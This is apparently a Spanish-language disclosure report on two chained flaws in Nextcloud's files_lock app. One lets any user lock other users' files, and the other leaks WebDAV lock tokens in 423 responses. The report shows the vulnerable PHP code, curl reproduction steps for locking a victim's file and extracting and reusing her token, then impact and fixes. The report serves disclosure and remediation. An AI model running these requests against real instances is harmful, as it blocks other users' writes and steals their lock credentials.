Resumen
La app files_lock de Nextcloud añade bloqueos de ficheros: un usuario puede bloquear manualmente un fichero para que nadie más lo modifique, y los clientes (escritorio, móvil, editores) pueden usar bloqueos WebDAV estándar basados en token.
El reporte describe dos fallos encadenados:
- Bloqueo de ficheros ajenos. Los manejadores
LOCKyUNLOCKdel plugin DAV (lib/DAV/LockPlugin.php) localizaban el fichero a partir de la URI absoluta, del tipo/remote.php/dav/files/<userId>/<ruta>, y abrían directamente la carpeta de ese<userId>sin comprobar que coincidiera con el usuario de la sesión. Cualquier usuario autenticado podía así bloquear o desbloquear ficheros de otro. - Fuga del token de bloqueo. Cuando alguien intentaba desbloquear un fichero sin permiso, la respuesta
423 Lockedincluía las propiedades del bloqueo, token incluido. Con ese token, el atacante podía enviar unUNLOCKWebDAV normal y quitar bloqueos de cliente de otros usuarios.
Código afectado según el investigador (commit ba6291713edd67d7bc054c8d562b5ee183f3afdf). El resolvedor extrae el usuario de la propia URL:
public function getFileFromAbsoluteUri(string $uri): Node {
[$root, $userId, $path] = explode('/', trim($uri, '/') . '/', 3);
if ($root !== 'files') {
throw new NotFoundException();
}
$path = '/' . $path;
$file = $this->rootFolder->getUserFolder($userId)
->get($path);
return $file;
}
Y httpLock / httpUnlock lo usan directamente con la URI de la petición:
$file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());
LockBackend::getFileFromUri() también puede acabar en la misma resolución absoluta, según el árbol del servidor. En cuanto a la fuga, al capturar UnauthorizedUnlockException el plugin escribe en la respuesta las propiedades de getLockProperties(), que contienen:
Application::DAV_PROPERTY_LOCK_TOKEN => $lock ? $lock->getToken() : null,
El controlador OCS (lib/Controller/LockController.php) hacía lo mismo, devolviendo $lock->jsonSerialize() en sus respuestas 423.
Se asignaron dos CVE, CVE-2026-45283 y CVE-2026-82980, con el aviso GHSA-783r-vj89-5x2q. Nextcloud lo clasificó como severidad media y pagó recompensa (importe no público). Reportado el 16 de agosto de 2025 y divulgado el 17 de septiembre de 2026.
Pasos de reproducción
Requisitos: una instancia de Nextcloud con files_lock activada y dos cuentas cualquiera. En la prueba, la víctima es alice y el atacante se llama admin, pero no hace falta ser administrador. El atacante debe conocer o adivinar el nombre de usuario de la víctima y la ruta de un fichero.
- Activar la app:
docker exec -u www-data nextcloud php occ app:enable files_lock
- Crear los usuarios
aliceyadmin. - Ejecutar el script del investigador (fragmentos esenciales a continuación). Primero,
alicesube sus ficheros:
ALICE_DAV_A="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_A}"
ALICE_DAV_B="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_B}"
printf '%s\n' "${content}" | curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -T - "$url"
Ataque A: bloquear un fichero de la víctima
- El atacante envía un
LOCKcon la cabeceraX-User-Locksobre la ruta dealice:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X LOCK -H 'X-User-Lock: 1' "${ALICE_DAV_A}"
Respuesta esperada: 200, con el atacante como nc:lock-owner.
aliceintenta modificar su propio fichero y recibe423 Locked:
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'new content' "${ALICE_DAV_A}"
Ataque B: robar el token y quitar un bloqueo ajeno
alicecrea un bloqueo WebDAV normal (con token) sobre otro fichero:
cat > /tmp/lockinfo.xml <<'XML'
<?xml version="1.0" encoding="utf-8" ?>
<D:lockinfo xmlns:D="DAV:">
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
<D:owner>alice-client</D:owner>
</D:lockinfo>
XML
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X LOCK -H 'Content-Type: application/xml' --data-binary @/tmp/lockinfo.xml "${ALICE_DAV_B}"
- El atacante intenta desbloquearlo con
X-User-Lock. Falla con423, pero el cuerpo XML incluye<nc:lock-token>:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}"
LEAKED_TOKEN=$(grep -oE '<nc:lock-token>[^<]+' /tmp/pocB_leak.out | sed 's/.*>//' | head -n1 || true)
- Con el token filtrado, el atacante envía un
UNLOCKestándar y obtiene204 No Content:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H "Lock-Token: <opaquelocktoken:${LEAKED_TOKEN}>" "${ALICE_DAV_B}"
- El bloqueo de
aliceha desaparecido: unPUTsobre el fichero devuelve204.
- Como comprobación visual, entrar en Archivos como
alice: el fichero del ataque A aparece con el icono de bloqueo y no se puede editar.
Impacto
- Denegación de escritura a voluntad. Con una sola petición por fichero, cualquier usuario de una instancia compartida puede bloquear ficheros de otros e impedir
PUT,MOVE,DELETEy los guardados desde editores. Esto afecta a la colaboración y a cualquier automatización que escriba en carpetas de usuario (clientes de escritorio y móvil, editores en línea, pipelines de CI). - Exposición de un secreto de bloqueo. El token de los bloqueos de cliente, que funciona como una credencial, queda expuesto a usuarios no autorizados. Estos pueden retirar los bloqueos de las apps cliente, con riesgo de pérdida de datos por ediciones concurrentes.
- No hace falta ingeniería social ni privilegios elevados: basta con una cuenta y conocer el usuario de la víctima y una ruta, que a menudo son predecibles.
Remediación
Nextcloud lo corrigió y lo publicó en el aviso GHSA-783r-vj89-5x2q. El reporte no detalla el parche aplicado, pero el investigador propuso:
- En
httpLock/httpUnlock, dejar de usargetFileFromAbsoluteUrisin más: resolver el fichero en el contexto del usuario de la sesión, o comprobar que el<userId>de la ruta coincide conIUserSession->getUser()->getUID()y devolver 403/404 si no. - Reforzar
getFileFromAbsoluteUricon esa misma verificación o con comprobaciones de permisos adecuadas. - No devolver el token de bloqueo en
getLockProperties()ni en las respuestas OCS a quien no esté autorizado.
Nota para el revisor: el script de prueba completo del original es bastante más largo (funciones de log, limpieza, verificación); aquí solo se han copiado las órdenes esenciales. El reporte no indica CWE. Las contraseñas del script de prueba se han omitido.